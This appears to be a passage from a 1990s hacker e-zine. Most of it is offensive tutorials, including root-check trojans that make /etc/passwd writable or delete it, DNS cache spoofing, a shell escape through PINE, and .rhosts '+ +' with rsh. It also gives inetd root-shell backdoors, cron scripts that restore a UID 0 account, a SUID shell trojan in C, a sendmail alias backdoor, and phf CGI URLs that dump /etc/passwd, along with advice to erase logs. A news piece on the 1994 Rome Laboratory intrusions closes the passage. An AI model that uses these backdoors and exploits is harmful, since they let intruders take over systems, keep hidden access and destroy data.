using the "chmod" command. There are two parameters associated with this: the "window" is the amount of time within which the modification times may differ without being flagged, (default is 30 minutes, which can be changed); and "cutoff", which is the time within which the inode must have been modified for the file to have been flagged (default is to not show files whose inodes have not been modified in the last week, which can be changed). * Lists device files which are not under the /dev hierarchy, or ordinary files that are. * Lists any files or directories whose mtime, atime or ctime are later than the current system time. * Lists files which contain user-specified search-strings. This is similar to the command: find . -exec grep '{}' ';' -print but a little more efficient because there isn't a process started for each file, and naiad can be made to search only part of each file. The output format is: MMM mmm iiiiiiiiii xxxxxxxxxxxxx: "" ...where "MMM" is the major device number, "mmm" is the minor device number, "iiiiiiiii" is the inode number, "xxxxxxxxxxx" is a comment, and "" is the pathname of the file. There may be additional information appended to the line. You will probably want to run as super-user so that NAIAD can access the entire file system. It is passive, and will not alter anything it finds. More detailed information may be found in the "naiad.1" file, which is part of the naiad tarfile. ---These Are The *EXACT* Files Taken From The nasa.zip.gz I have--------------- So, looks as if NASA has some pretty neato detection juarez to use, I wouldn't advise anyone to hack any *.nasa.gov system without knowing how to obtain root and having mad skills to counter-act these security measures, you have been warned. so1o. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Rooting From Bin : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� This is something I was thinking alot about the other day, I was on a System V Release 4, I had just performed the chkperm exploit, which only gives bin access (uid=1 and gid=1) to the system, so even though I own all the files in the /bin/ directory, I am still not root. Here is a very very simple technique I developed for such occasions, this may come in useful one day for someone, somewhere... Write a program that you can get people to run, you could get hold of the source for a common program, such as su or who or mount. Put this line in it somewhere: if ( !strcmp(getlogin(),"root") ) system("whatever you want"); This checks to see if the root login is running your program. If he is, you can have him execute any shell command you'd like. Here are some suggestions: "chmod 666 /etc/passwd" /etc/passwd is the system's password file. The root owns this file. Normally, everyone can read it (the passwords are encrypted) but only the root can write to it. Take a look at it and see how it's formatted if you don't know already. This command makes it possible for you to now write to the file - i.e. create unlimited accounts for yourself and your friends. "chmod 666 /etc/group" By adding yourelf to some high-access groups, you can open many doors. "chmod 666 /usr/lib/uucp/L.sys" Look for this file on your system if it is on the uucp net. It contains dialups and passwords to other systems on the net, and normally only the uucp administrator can read it. Find out who owns this file and get him to unknowingly execute a program to unlock it for you. "rm /etc/passwd" If you can get the root to execute this command, the system's passwd file will be removed and the system will go down and will not come up for some time to come. This is very destructive and evil, but pointless, if you do want to damage a system, at least use your imagination. If you are going to go about adding a trojan horse program to the system, there are some rules you should follow. If the hidden purpose is something major (such as unlocking the user's mbox or deleting all of his files or something) this program shouldn't be a program that people will be running a lot (such as a popular computer game) - once people discover that their files are public access the source of the problem will be discovered quite easily. Save this purpose for a 'test' program (such as a game you're in the process of writing) that you ask individual people to run via mail or 'chatting' with them. As I said, this 'test' program can bomb or print a phony error message after completing its task, and you will just tell the person "well, I guess it needs more work", wait until they log off, and then read whatever file of theirs that you've unlocked. If your trojan horse program's sole purpose is to catch a specific user running it - such as the root or other high-powered user - you can put the code to do so in a program that will be run a lot by various users of the system. Your modification will remain dormant until he runs it. If you cant find the source to 'star trek' or whatever in C, just learn C and convert something from pascal. It can't hurt to learn C as it's a great language. We've just seen what it can do on a UNIX system. Once you've caught the root (i.e. you can now modify the /etc/passwd file) remove the spurious code from your trojan horse program and you'll never be caught. so1o. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. DNS Spoofing : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You can now use a new DNS spoofing technique originally developed by johan, I have seen this technique often applied to IRC, and prym was one of the first to use the technique for that purpose. Here is a basic introduction into the DNS concept. -------------------------------------------------- DNS stands for Domain Name Server although you may hear it refered to as Dynamic Name Server. DNS servers are used so that instead of everyone having numeric IP's for their websites and shit, they can use a DNS so that a client can 'lookup' the name (eatme.com for example) to the numeric IP. Basically, a DNS server is a computer which is running a nameserver daemon typically listening on UDP port 53. When a new domain is setup the domain is registered with Internic. Internic then tells its clients who has authority over the domains registered with it. For example say 1.2.3.4 wanted to resolve the address for peachie.com and 1.2.3.4's nameserver was 1.3.3.7. 1.2.3.4 would ask 1.3.3.7 what the numeric IP for peachie.com was, so 1.3.3.7 would ask internic who had authority over peachie.com and internic might reply with ns.peachie.com. So then 1.3.3.7 would ask ns.peachie.com what the numeric IP for peachie.com was. Then ns.peachie.com would tell 1.3.3.7 that the numeric IP for peachie.com was 4.3.2.1 and then 1.3.3.7 would then tell 1.2.3.4 the numeric IP and the name would be resolved. DNS servers generally cache addresses that are looked up by its clients. So if 1.2.3.4 were to ask 1.3.3.7 what the address for taco.com was again, 1.3.3.7 would not ask Internic etc. instead it would take the IP that it had previously resolved earlier and say that the numeric IP for peachie.com is 4.3.2.1. the funny part is that the DNS server doesn't do alot of checking when another nameserver replies to its query. It basically just tells the client what is was told at an earlier point and caches it in the same way. This is why we can spoof using such a technique, but we would need root access to a nameserver first, this is one of the biggest setbacks... How to spoof your DNS. ---------------------- Lets say were sitting on ns.peachie.com with root, and we have authority for all of peachie.com. we want to cache our boxs address 2.2.2.2 on the remote nameserver ns.eatme.org so that we can connect to eatme.org with the address of trusted.eatme.org. We could write a program that listens for DNS queries and replies with false information. sitting on ns.peachie.com we could lookup peachie.com on the nameserver ns.eatme.org. ns.eatme.org would ask Internic who had authority for peachie.com and it would reply to ns.eatme.org that ns.peachie.com had authority over peachie.com. Then ns.eatme.org would ask ns.peachie.com what the address for peachie.com was. If we were running a normal DNS then it would tell ns.eatme.org that the address for peachie.com was 4.3.2.1. but we aren't. We'll say that ns.peachie.com tells ns.eatme.org that the reverse of 2.2.2.2 is trusted.peachie.com and the address for trusted.peachie.com is 2.2.2.2. This exploits the failure to check a few things on the DNS. Basically ns.eatme.org asked what the numeric IP for peachie.com was and we told it that the reverse of 2.2.2.2 is trusted.eatme.org and that the IP of trusted.eatme.org is 2.2.2.2. They asked a question to which we responded with two awnsers to different question entirely. Now we would simply connect to eatme.org from 2.2.2.2 and eatme.org would ask ns.eatme.org for the reverse of 2.2.2.2 and in its cache it would find trusted.eatme.org and it would reply with that answer. Then it would ask for the address of trusted.eatme.org and it would reply with 2.2.2.2. you would then be connected to eatme.org from trusted.eatme.org and in effect DNS spoofing. That's all there is to it, it may be a bit heavy for some people. so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. FreeNet : TrN 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Breaking security on restricted shells and freenets. What many system administrators fail to realize is that by setting up shells and security on their applications and systems, and generally trying to lock users in a freenet menu environment, it is almost impossible to fully examine every program. Many programs allow you to escape to shells, even in secure mode, especially the older ones. There is a longstanding bug in the gohper application, used by many freenets, that allows you to start up a gopher server, where an entry is created such as ";sh". Following this entry provides a shell. This is the main reason why the original gopher client is no longer in use. A "l;rm -rf *" was just as easy. In todays world, the biggest problem is that freenets usually allow you to edit files. If this is the case, you almost have a 100% chance of you getting into a real shell. What you first have to do is see if you can go through the menu system to edit a file. If you can't that is cool too. We are going to show you how to get a shell out of PINE. It doesn't matter which version, this works all the way up to 3.96. Anyway, like I was saying, you should see if you can either a) edit a file, or b) upload a file. I'm almost sure you can do either. So, lets start a little session here. First, you have to edit your .pinerc. If you can't, download it (or get it from the PINE package), make the changes, and reupload it. What is important is that you edit the feature-list=commands, and have it read something similar to this: feature-list=enable-alternate-editor-cmd, enable-unix-pipe-cmd After setting this correctly, go further in the file, and until you find the editor= command. It is stated that the editor is normally set to sh, and invoked via _^ [Control-Shift-Dash]. Do you get the idea yet? Set the line to read editor=sh and then save the file. Now for the fun part. Start up pine, and chose Compose Message. Erase all the To/Cc/Att/Sub headers, and make the message text blank, except for the work "sh" (without the quotes) on a single line. After this is done, press the alternate editor hotkey (^_). Here is what happens: To : Cc : Attchmnt: Subject : ----- Message Text ----- sh $ Kinda neat. That little $ is the sign that it all worked. What you probably want to do is execute some of the standard commands that tell you a little about where you are: $ uname -a ; uptime ; /sbin/ifconfig -a SunOS pb 4.1.3_U1 1 sun4m 12:14am up 47 days, 12:18, 24 users, load average: 2.71 le0: flags=63 inet 199.227.192.35 ffffff00 199.227.192.0 lo0: flags=49 inet 127.0.0.1 ff000000 Then a w ; ps -aux would be nice. It can tell you a little about what is going on, and what is safe to do the things you want. You should probably log on late at night, compile slirp if it is only a shell/vt dialin, and then check the system for vunerabilities, unshadowed passwords, etc. I've notified my freenet of their problems, but they don't seem to care. Maybe now they will. Ok sysadmins, fix up your freenets, and hackers... Hack the planet. :-) This article by TrN of The CodeZero. I'll have more interesting information on the way. You can get ahold of me at http://bluebox.dyn.ml.org:8000, or by e-mail at p033644b@pbfreenet.seflin.lib.fl.us. You should check out the web page, as it has other security related information. LaterZ. One other thing to consider, if ports 514 / 512 are open, then you can try creating an .rhosts file in your home directory containing "+ +", then use.. rsh -l loginhere systemhere.com csh -i ...and you will get a shell -- so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Backdoors Revised : Blk-Majik 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Disclamer: If you do anything mentioned in this article, it is your own fault and any trouble you manage to get into is your own responsibility, not mine. But what am I thinking...like any of you lamers can root a shell :). gr33tz: A big wuzzup to cf, oK, oa, and gZ! Keep it kewl, madmax, imunknown, pack, plum, mogle, crytpo`, so1o, c0d, and da rest of muh boys! Thanx to mcooly for making this document possible and helping me out! ============================================================================= section 1: ============================================================================= What is a back door? : Well, kiddies, a backdoor is just a way to remotely get into a shell without being noticed or sometimes logged. This can be done by adding a extra telnet port to the server I will show you a few ways to set up the port, and also how to keep it up even after the admin find it. so1o had a section in a back issue with a back door using the inetd.conf file where you had to end all commands with a ";". Well that annoyed the hell out of me so I have modified his technique. ============================================================================= section 2: ============================================================================= What you need : Basically, you need root on a shell to start (and a Unix based OS). After that, you will need a good editor....say pico or vi. Most of you #shells wh0res need, but lack this important ingredient....a fucking brain. ============================================================================= section 3: ============================================================================= Understanding the technique : After you checked your head, editor, whoami, etc, you are all set. Ok, this is what you look for: /etc/services This file lets you find a port /ect/inetd.conf This is where the backdoor will be ok, in the /etc/services file, you will see something like this: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process ok, what the fuck is that? ill explain it with this example: ftp 21/tcp #File Transfer [Control] ftp 21/udp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1: The name of the service of the system. 2: The port that the system uses for the service. 3: The protocol (going to be tcp. You can chose either tcp or udp.) 4: A description of what the service is used for. Aight, thats the service file...you will need this later. now look at the /etc/inetd.conf file. the inetd is a Internet daemon that will listen for tcp requests and UDP prots and then spaws the program when a connection request is made. It will look like this: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd let me explain it: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A [1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ] 1: Name of deamon in the services file. It tells inetd what to look for in /etc/services to see what port to use when connecting. 2: Type of of socket connection that the deamon will accept. 3: Protocol field which is always TCP or UDP. 4: How long to delay connection. 5: User to run on the deamon as (used with uid/gid permissions etc.) 6: What program will keep the connection. 7: The actual command or daemon. Ok, so what that dose it makes a port for telnet (port 21, as defined in the services file). It has a stream/tcp connection and dosn't wait for a prompt. The user is of root access and uses /ur/libexec/tcpd (but limited commands) Ok, now u know what the shit is for, next step... ============================================================================= section 4: ============================================================================= Installing the backdoor : Backdoor I : Using /etc/inetd.conf and /etc/services ---------------------------------------------------- method 1 : ---------- ok, now go back to the /etc/services file. Look at it and find a service you think the admin will not notice, and that is not in use. remember the name of the service. Now, go to the inetd.conf file. Go to a place with all the services name where the 1 is in the above example. Add you service somewhere so it is hidden within others. For 2, put the port of the service. 3 is tcp, duh. 4 is nowait. 5 will be root, so u get root access. 6 is going to be /bin/sh or what ever you like. 7 has to be 6 -i..ex: if 7 is /bin/sh, 7 is /bin/sh -i here is an example: ftp stream tcp nowait root /bin/sh sh -i Ok, now you have to restart the inetd. do this by typing (as root) : killall -HUP inetd Ok, now lets test it. From a different system... telnet victum.server.com 21 Trying 123.456.78.9... Connected to comp.com Escape character is '^]'. bash# bash# whoami root bash# tip: do NOT use the ftp port...it is just used to often. Pick a service that is not use alot. It will help you keep the backdoor running. method 2: --------- If you are willing, you can add your own service to the service file. This is easy..say you service file is like this: netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp ok, look at the ports.....see how they skip a few? well lets fill 1 of them up... netbios-ssn 139/tcp nbssn suled 142/tcp suled imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp Notice the suled service...that I added that to the /etc/services. Ok, now to the /etc/inetd.conf file: ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn ...Here we go!! ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd gopher stream tcp nowait root /usr/sbin/tcpd gn suled stream tcp nowait root /bin/sh sh -i Ok, now restart inetd like i said how to before... You're all set, telnet localhost and test it!@~# Backdoor II: Da beauty of CRON ------------------------------- Ok, cron trojans are good for keeping root if the admin kills the backdoor. A Cron is a timed daemon. It consits of hours, minutes, etc. It will make the system automatically issue a command on the shell at a given time of your choice... Type crontab in the shell. It will tell you how to list, run and remove crons. You will like to look at the /var/spool/cron/crontabs/root. This is what the crons will look like: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1: munute, 0-59 2: hour, 0-23 3: day of month, 1-31 4: month of yeat, 1-12 5: day of week, 0-6 6: command to execute The example above is issued on monday's. If you want to exploit the cron, simply add an cron line to the /var/spool/crontab/root. ie: If you use the UID 0 account (as seen later), you can make a cron to see if the UID 0 account is still alive. If root killed it, the cron can re-add it! ...This will make the UID 0 account, just for back-up: Cron #1 ------- newuser.sh ---------- #!/bin/sh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... *** NOTE : MODIFY THE ECHO "YOURUSER..." PART!! Here is a script that kinda does the same thing, but instead of making a new account, it will look for an old, disabled account and enable it just for you : dead.sh ------- #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.yourlittleshell # Don't name it that... chmod 4755 /tmp/.yourlittleshell Ok, here is where the cron comes in. It will look in the passwd files to check if you YouUser is still alive. If not, it brings him back! revive.sh --------- #!/bin/sh #Is YourUser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string option echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif cron #2 ------- First of all, you will need a copy of the /etc/passwd file in a hidden location. For this example, we will use /var/spool/mail/.hidepass. We have one entry in it that will be are root account we will use. Then lets make a cron that will save a copy of the real /etc/passwd file and install the hidden passwd file as the real one for 1 minute at a time of your choice. Make it at a slow time of day because any one who tries to access the passwd file durring this minute will get an error. 4:30 am is a good time. Put this in the roots cron to do this : 29 4 * * * /bin/usr/hidenhidenpass ..make sure this exist #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.hidden here is the /bin/usr/hidenhidenpass .hidden ------- #!/bin/sh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd Cron #3 -------- This is a c script that will work like the above. Cron it as root like as above and just let this file load every day. hidden.c -------- #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ ============================================================================= section 5: ============================================================================= Sendmail backdoor : ------------------- With this, you have to edit the /etc/aliases file. add this line: decode: |/usr/bin/uudecode make sure u hide it in their so it aint odvious :). the uudecode file will be a .rhosts file with the full pathname embedded. here is the script: uudecode.sh ----------- #!/bin/sh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Ok, now telnet to victumserver.com at port 25. Fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. Here is an easy one (but not fake): echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com You can add any program that I have listed to be ran from the alias, so be as creative as u want! :) ============================================================================= section 6: ============================================================================= Others : Here is one of the best trojans I have seen. It is sneeky and only detectable by programs like tripwire. All you have to do is put the trojan code into a the source of some popular system programs. su, login, and passwd are very good to add it to because they run a SUID root and don't have strict permission so you can modify it. This will tell you what to do after u get the source code for the particular UNIX system you are backdooring. If you can't get the source for any programs on your system, u may be screwed :(. You can find trojaned versions of many programs, here is a small example of pseudo-code that is added in such programs... get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... ============================================================================= section 7: ============================================================================= Keeping the backdoor : Well, the best advice I can possibly give to start off is to cover your tracks. If the admin doesn't know he's been hacked, he won't look for backdoors to remove. This will totaly depend on the admins ability to find backdoors and know how to get rid of them. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. One Last Thing About The Infamous pHf Technique : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� You can use this basic form of attack...[Thru NutScrape For Example] http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd [ 1 ][ 2 ][ 3 ][ 4 ][5][ 6 ] 1: The Target Site. 2: The pHf Command. 3: The Magic pHf Arguments. 4: The Program You Wish To Run. 5: %20 Is A Space, so %20%20%20 == 3 Spaces. 6: The Arguments You Wish To Use. Here Are Some Other Examples... ------------------------------- http://www.site.com/cgi-bin/phf?Qalias=x&0a/bin/ls%20-la%20/etc/ ...This will list the files in the /etc/ directory. http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/uname%20-a ...This will display the operating system. Remember : You execute the commands with pHf as the user nobody, so you can't shutdown the system, echo "+ +" >> /.rhosts etc. etc. All the stuff you throw at the system using phf will be logged too, so if you do decide to hack the system, remember to kill the logs when you get root :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Some History : nobody 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Electronic doom will soon be visited on U.S. computer networks by information warriors, hackers, pannational groups of computer-wielding religious extremists, possible agents of Libya and Iran, international thugs and money-mad Internet savvy thieves. John Deutch, director of Central Intelligence, testified to the truth of the matter, so it must be graven in stone. In a long statement composed in the august tone of the Cold Warrior, Deutch said to the Senate Permanent Subcommittee on Investigations on June 25, "My greatest concern is that hackers, terrorist organizations, or other nations might use information warfare techniques" to disrupt the national infrastructure. The lack of solid evidence for any of the claims made by the intelligence community has created an unusual stage on which two British hackers, Datastream Cowboy and Kuji, were made the dog and pony in a ridiculous show to demonstrate the threat of information warfare to members of Congress. Because of a break-in at an Air Force facility in Rome, NY, in 1994, booth hackers were made the stars of two Government Accounting Office reports on network intrusions in the Department of Defense earlier this year. The comings and goings of Datastream Cowboy also constitute the meat of Gelber and Christy's minority staff report from the Subcommittee on Investigations. Before delving into it in detail, it's interesting to read what a British newspaper published about Datastream Cowboy, a sixteen year-old, about a year before he was made the poster boy for information warfare and international hacking conspiracies in front of Congress. In a brief article, blessedly so in contrast to the reams of propaganda published on the incident for Congress, the July 5 1995 edition of The Independent wrote, "[Datastream Cowboy] appeared before Bow Street magistrates yesterday charged with unlawfully gaining access to a series of American defense computers. Richard Pryce, who was 16 at the time of the alleged offences, is accused of accessing key US Air Force systems and a network owned by Lockheed, the missile and aircraft manufacturers." Pryce, a resident of a northwest suburb of London did not enter a plea on any of 12 charges levied against him under the British Computer Misuse Act. He was arrested on May 12, 1994, by New Scotland Yard as a result of work by the U.S. Air Force Office of Special Investigations. The Times of London reported when police came for Pryce, they found him at his PC on the third floor of his family's house. Knowing he was about to be arrested, he "curled up on the floor and cried." In Gelber and Christy's staff report, the tracking of Pryce, and to a lesser extent a collaborator called Kuji -- real name Mathew Bevan, is retold as an eight page appendix entitled "The Case Study: Rome Laboratory, Griffiss Air Force Base, NY Intrusion." Pryce's entry into Air Force computers was noticed on March 28, 1994, when personnel discovered a sniffer program he had installed on one of the Air Force systems in Rome. The Defense Information System Agency (DISA) was notified. DISA subsequently called the Air Force Office of Special Investigations (AFOSI) at the Air Force Information Warfare Center in San Antonio, Texas. AFOSI then sent a team to Rome to appraise the break-in, secure the system and trace those responsible. During the process, the AFOSI team discovered Datastream Cowboy had entered the Rome Air Force computers for the first time on March 25, according to the report. Passwords had been compromised, electronic mail read and deleted and unclassified "battlefield simulation" data copied off the facility. The Rome network was also used as a staging area for penetration of other systems on the Internet. AFOSI investigators initially traced the break-in back one step to the New York City provider, Mindvox. According to the Congressional report, this put the NYC provider under suspicion because "newspaper articles" said Mindvox's computer security was furnished by two "former Legion of Doom members." "The Legion of Doom is a loose-knit computer hacker group which had several members convicted for intrusions into corporate telephone switches in 1990 and 1991," wrote Gelber and Christy. AFOSI then got permission to begin monitoring -- the equivalent of wiretapping -- all communications on the Air Force network. Limited observation of other Internet providers being used during the break-in was conducted from the Rome facilities. Monitoring told the investigators the handles of hackers involved in the Rome break-in were Datastream Cowboy and Kuji. Since the monitoring was of limited value in determining the whereabouts of Datastream Cowboy and Kuji, AFOSI resorted to "their human intelligence network of informants, i.e., stool pigeons, that 'surf the Internet.' Gossip from one AFOSI 'Net stoolie uncovered that Datastream Cowboy was from Britain. The anonymous source said he had e-mail correspondence with Datastream Cowboy in which the hacker said he was a 16-year old living in England who enjoyed penetrating ".MIL" systems. Datastream Cowboy also apparently ran a bulletin board system and gave the telephone number to the AFOSI source. The Air Force team contacted New Scotland Yard and the British law enforcement agency identified the residence, the home of Richard Pryce, which corresponded to Datastream Cowboy's system phone number. English authorities began observing Pryce's phone calls and noticed he was making fraudulent use of British Telecom. In addition, whenever intrusions at the Air Force network in Rome occurred, Pryce's number was seen to be making illegal calls out of Britain. Pryce travelled everywhere on the Internet, going through South America, multiple countries in Europe and Mexico, occasionally entering the Rome network. From Air Force computers, he would enter systems at Jet Propulsion Laboratory in Pasadena, California, and the Goddard Space Flight Center in Greenbelt, Maryland. Since Pryce was capturing the logins and passwords of the Air Force networks in Rome, he was then able to get into the home systems of Rome network users, defense contractors like Lockheed. By mid-April of 1994 the Air Force was monitoring other systems being used by the British hackers. On the 14th of the month, Kuji logged on to the Goddard Space Center from a system in Latvia and copied data from it to the Baltic country. According to Gelber's report, the AFOSI investigators assumed the worst, that it was a sign that someone in an eastern European country was making a grab for sensitive information. They broke the connection but not before Kuji had copied files off the Goddard system. As it turned out, the Latvian computer was just another system the British hackers were using as a stepping stone; Pryce had also used it to cover his tracks when penetrating networks at Wright-Patterson Air Force Base in Ohio, via an intermediate system in Seattle, cyberspace.com. The next day, Kuji was again observed trying to probe various systems at NATO in Brussels and The Hague as well as Wright-Patterson. On the 19th, Pryce successfully returned to NATO systems in The Hague through Mindvox. The point Gelber and Christy seem to be trying to make is that Kuji, a 21-year old, was coaching Pryce during some of his attacks on various systems. By this point, New Scotland Yard had a search warrant for Pryce with the plan being to swoop down on him the next time he accessed the Air Force network in Rome. In April, Pryce penetrated a system on the Korean peninsula and copied material off a facility called the Korean Atomic Research Institute to an Air Force computer in Rome. At the time, the investigators had no idea whether the system was in North or South Korea. The impression created is one of hysteria and confusion at Rome. There was fear that the system, if in North Korea, would trigger an international incident, with the hack interpreted as an "aggressive act of war." The system turned out to be in South Korea. During the Korean break-in, New Scotland Yard could have intervened and arrested Pryce. However, for unknown reasons, the agency did not. Those with good memories may recall mainstream news reports concerning Pryce's hack, which was cast as an entry into sensitive North Korean networks. It's worth noting that while the story was portrayed as the work of an anonymous hacker, both the U.S. government and New Scotland Yard knew who the perpetrator was. Further, according to Gelber's report English authorities already had a search warrant for Pryce's house. Finally, on May 12 British authorities pounced. Pryce was arrested and his residence searched. He crumbled, according to the Times of London, and began to cry. Gelber and Christy write that Pryce promptly admitted to the Air Force break-ins as well as others. Pryce confessed he had copied a large program that used artificial intelligence to construct theoretical Air Orders of Battle from an Air Force computer to Mindvox and left it there because of its great size, 3-4 megabytes. Pryce paid for his Internet service with a fraudulent credit card number. At the time, the investigators were unable to find out the name and whereabouts of Kuji. A lead to an Australian underground bulletin board system failed to pan out. On June 23 of this year, Reuters reported that Kuji -- 21-year-old Mathew Bevan -- a computer technician, had been arrested and charged in connection with the 1994 Air Force break-ins in Rome. Rocker Tom Petty sang that even the losers get lucky some time. He wasn't thinking of British computer hackers but no better words could be used to describe the two Englishmen and a two year old chain of events that led to fame as international computer terrorists in front of Congress at the beginning of the summer of 1996. Lacking much evidence for the case of conspiratorial computer-waged campaigns of terror and chaos against the U.S., the makers of Congressional reports resorted to telling the same story over and over, three times in the space of the hearings on the subject. One envisions U.S. Congressmen too stupid or apathetic to complain, "Hey, didn't we get that yesterday, and the day before?" Pryce and Bevan appeared in "Security in Cyberspace" and twice in Government Accounting Office reports AIMD-96-84 and T-AIMD96-92. Jim Christy, the co-author of "Security in Cyberspace" and the Air Force Office of Special Investigations' source for the Pryce case supplied the same tale for Jack Brock, author of the GAO reports. Brock writes, ". . . Air Force officials told us that at least one of the hackers may have been working for a foreign country interested in obtaining military research data or areas in which the Air Force was conducting advanced research." It was, apparently, more wishful thinking. This years UK hacking conference : Access All Areas. http://www.access.org.uk July 5th. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. [GUNNAR], MadSeason and sIn : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Some dudes called MadSeason and [GUNNAR] has been proving sIn's true lameness and logging it all at the same time, phear elite logging skills... ################################################################################## # # # Darkfool # # (What a Fool/The PHF hacker) # # BY [GUNNAR] # # # ################################################################################## Ever read a hacking txt by this guy? Ever realize just how useless the information his txt's are? Nothing in his txt files aren't covered in a hundred text files written before which better explain hacking techniques. Like a quote from my pal MadSeason goes: "The fact is these txt files about hacking and phreaking are written by people with minimal knowledge. Then you have some newbie who comes along wanting to be some hacker god and reads a few files and has even less of a clue then the writer had about the subject, then goes around spewing out bullshit and claiming they are a hacker and/or phreaker, just an endless circle of ignorance." That quote is so true. All these hack txt's realeased by these groups like S.I.N. and Techonophoria are just crap. About the only exploit that Darkfool knows the the PHF bug found in older versions of NCSA and Apache httpd. This bug is very well know(And over exploited might I add.). Do a search for ac.jp or edu.au domains, and adding to the address "cgi-bin/phf?Qalias=x%0a/bin/cat%20 /etc/passwd" 